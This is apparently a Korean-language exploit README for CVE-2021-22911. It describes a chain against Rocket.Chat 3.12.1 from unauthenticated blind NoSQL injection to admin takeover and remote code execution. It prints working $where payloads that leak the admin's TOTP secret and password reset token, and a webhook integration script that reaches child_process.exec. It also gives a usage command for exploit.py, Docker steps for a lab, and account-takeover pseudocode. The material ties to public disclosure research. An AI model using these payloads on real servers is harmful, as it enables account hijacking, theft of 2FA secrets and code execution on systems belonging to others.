CVE-2021-22911

Rocket Chat 3.12.1에서 인증 전 블라인드 NoSQL 인젝션을 통한 원격 코드 실행

• getPasswordPolicy 메서드는 NoSQL 인젝션 공격에 취약하며 인증/권한이 필요하지 않습니다. 비밀번호 재설정 토큰을 유출하여 계정을 탈취하는 데 사용될 수 있습니다. 관리자 계정을 탈취하면 원격 코드 실행이 가능합니다.

설명

1. 사용자 계정 탈취 (인증되지 않은 상태)

• 비밀번호 재설정 token 매개변수의 getPasswordPolicy 엔드포인트에 NoSQL 인젝션이 존재하며, 이는 JSON 객체를 받아 $regex 연산자를 사용할 수 있게 합니다. 이를 사용하여 블라인드 NoSQL 인젝션을 수행해 재설정 토큰을 얻습니다.

2. 관리자로 권한 상승 (인증된 상태)

• 따라서 관리자 사용자는 대부분 2FA로 보호될 가능성이 높습니다. (1)을 통해 관리자의 비밀번호를 변경하더라도 로그인 시 2FA 코드를 요구합니다.
• users.list API 엔드포인트는 쿼리 매개변수를 받으며 NoSQL 인젝션에 취약합니다. 오류를 발생시켜 데이터를 검색할 수도 있습니다.
• 관리자의 2FA 비밀을 얻기 위해 다음 쿼리를 실행합니다: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
• 그런 다음 (1)을 수행하여 관리자의 비밀번호를 재설정하고 2FA 비밀을 사용해 코드를 생성하여 로그인합니다.
• 업데이트: 2FA 비밀을 검색한 것과 같은 방식으로 재설정 토큰을 검색할 수도 있습니다: {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

3. RCE (인증된 관리자)

• Rocket.Chat에는 Integrations라는 기능이 있어 수신 및 발신 웹훅을 생성할 수 있습니다. 이 웹훅에는 트리거될 때 실행되는 스크립트를 연결할 수 있습니다.
• 다음 스크립트로 인테그레이션을 생성합니다:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');

• 그런 다음 웹훅을 트리거하여 RCE를 얻습니다 :)

사용법

• 2FA가 설정되지 않은 낮은 권한 사용자의 이메일이 필요합니다. ( -u )
• 또한 관리자 이메일을 알아야 합니다. 관리자가 2FA로 보호되어 있어도 문제되지 않습니다. ( -a )

python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

환경

• Rocket Chat 3.12.1에서 테스트됨
• Docker를 사용하여 자체 테스트 환경 구축:

docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

• 비밀번호 정책 활성화
• 관리자 2FA 활성화
• 일반 사용자 등록.

참고: 관리자를 2FA로 보호하고 싶지 않다면 다음을 수행하세요.

1. 비밀번호 분실 메일 전송
2. 관리자의 재설정 토큰 획득
3. 획득한 재설정 토큰을 사용하여 비밀번호 변경

# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

크레딧

• https://hackerone.com/reports/1130721 ( sonar source )
• https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

• https://www.exploit-db.com/exploits/49960 ( v1 )
• https://www.exploit-db.com/exploits/50108 ( v2 )